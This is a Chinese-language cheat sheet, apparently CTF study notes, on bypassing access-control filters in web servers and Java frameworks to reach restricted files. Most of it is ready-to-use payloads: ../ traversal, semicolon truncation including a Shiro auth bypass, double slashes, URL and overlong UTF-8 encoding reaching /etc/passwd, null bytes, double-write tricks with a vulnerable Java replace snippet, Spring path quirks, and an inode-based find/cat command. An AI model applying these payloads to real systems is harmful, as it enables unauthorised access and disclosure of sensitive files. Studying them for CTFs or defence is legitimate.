例如,要读取http://xxxx/flag.html,但是有限制
(1)目录遍历(../绕过)
注:浏览器也会自动解析../,比如说输入login/../admin,浏览器自己解析了,导致传到服务器就变成了/admin,原来的payload起不到作用,所以不要直接在url输入
原理:Filter未对URI进行标准化处理。攻击者构造../返回上级目录,使URI匹配白名单路径。
payload:
/system/login/../../admin/main.do
Filter认为路径以/system/login开头,放行。
实际解析后路径为admin/main.do,绕过权限校验。
(2)分号截断(;绕过)
【1】/admin/main.do;123
Filter检查url不是以 `.do` 结尾放行。分号后的123作为无效参数不会对原地址有任何影响,绕过权限校验
【2】/;flag.html【3】http://target.com/path/to/page;param=evil.js
(某些服务器(如IIS、旧版Apache)将分号;视为查询参数的分隔符,等同于&,服务器将;param=evil.js解析为参数,忽略它,并返回/path/to/page的内容(可能是HTML页面))【4】shiro权限绕过:
访问 /admin/page,会被重定向到登录页面。但通过构造特殊的 URL,例如 /;/admin/page,可以绕过 Shiro 的权限验证
或
/xxx;/../admin/page
(3)多斜杠绕过(//)
原理:多加⼀个 / 并不影响正常解析,而又能让该规则匹配不到,成功绕过。
示例:
payload://system//UserInfoSearch.do
服务器解析为/system/UserInfoSearch.do,但Filter未匹配到原始路径
或
/./system/./system
(4)编码绕过:
【1】URL编码
.编码为%2e
/编码为%2f
../ 的URL编码为 %2e%2e%2f双重URL编码:../ 的双重URL编码为 %252e%252e%252f
(1)http://xxx/..%2fflag.html(URL 编码斜杠)(2)http://xxx/%2e%2e%2fflag.html(完全编码 ../)(3)http://xxx/..%255cflag.html(双重编码)(4)原理:Filter未解码URI直接校验,服务器解码后访问目标路径。
/system/%55%73%65%72%49%6e%66%6f%53%65%61%72%63%68%2e%64%6f(解码后为/system/UserInfoSearch.do)
Filter因未解码无法识别真实路径,放行请求(完全编码)
【2】UTF-8编码:
glassfish文件读取:
java语言中会把%c0%ae解析为\uC0AE,最后转义为ASCCII字符的.(点)。利用%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/来向上跳转,达到目录穿越、任意文件读取的效果
0xC0 0xAE是字符 .的一种过长的UTF-8编码形式(0xC0表示接下来的一个字节,0xAE是有效载荷)。根据UTF-8规范,这属于“非最短形式”,本应是无效的,但某些老旧或不规范的解码器会接受它
即:
%c0%ae 表示 .
%c0%ae%c0%ae = ..http://xxx.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
【3】空字节绕过
/1.js/..%00/flag.php
(5)双写绕过
// 不安全的过滤代码
String filename = request.getParameter("filename");
// 只替换一次,攻击者可使用 ....//
filename = filename.replace("../", "");
也可以..././
(6)java应用常见的路径绕过处理问题,即访问任意静态文件可绕过鉴权
Java/Spring/Tomcat 等后端框架:将 ; 及其后面的内容视为 矩阵参数(Matrix Parameter) ,在路径规范化时会剥离分号部分,即/1.js/..;/flag.html被规范为/1.js/../flag.html,从而被识别为flag.html
比如/1.js/..;/flag.html或者/js/..;/flag.html
又/flag.html;js
/flag.html;login(原来访问/login.html成功)
(7)Spring MVC追加斜杠
原理:Spring MVC自动去除尾部/,但Filter未处理导致绕过。
示例:payload:
/admin/main.do/
Spring 匹配/admin/main.do,Filter检查时末尾含斜杠,不符合规则实现绕过
(8)inode号绕过
inode是Linux文件系统核心概念,用于存储文件元信息,每个文件都有一个唯一的inode号,操作系统通过inode号识别文件,而不是文件名
ls -i 文件名 查看特定文件的inode号
ls -i / 获得根目录下所有文件的inode号
例flag在/下,用 ls -i / 查看其inode号,得到flag的inode号为78751,
可以用 find / -inum 78751 2>/dev/null获取该文件的路径(flag)
用 cat `find / -inum 78751 2>/dev/null`获取flag

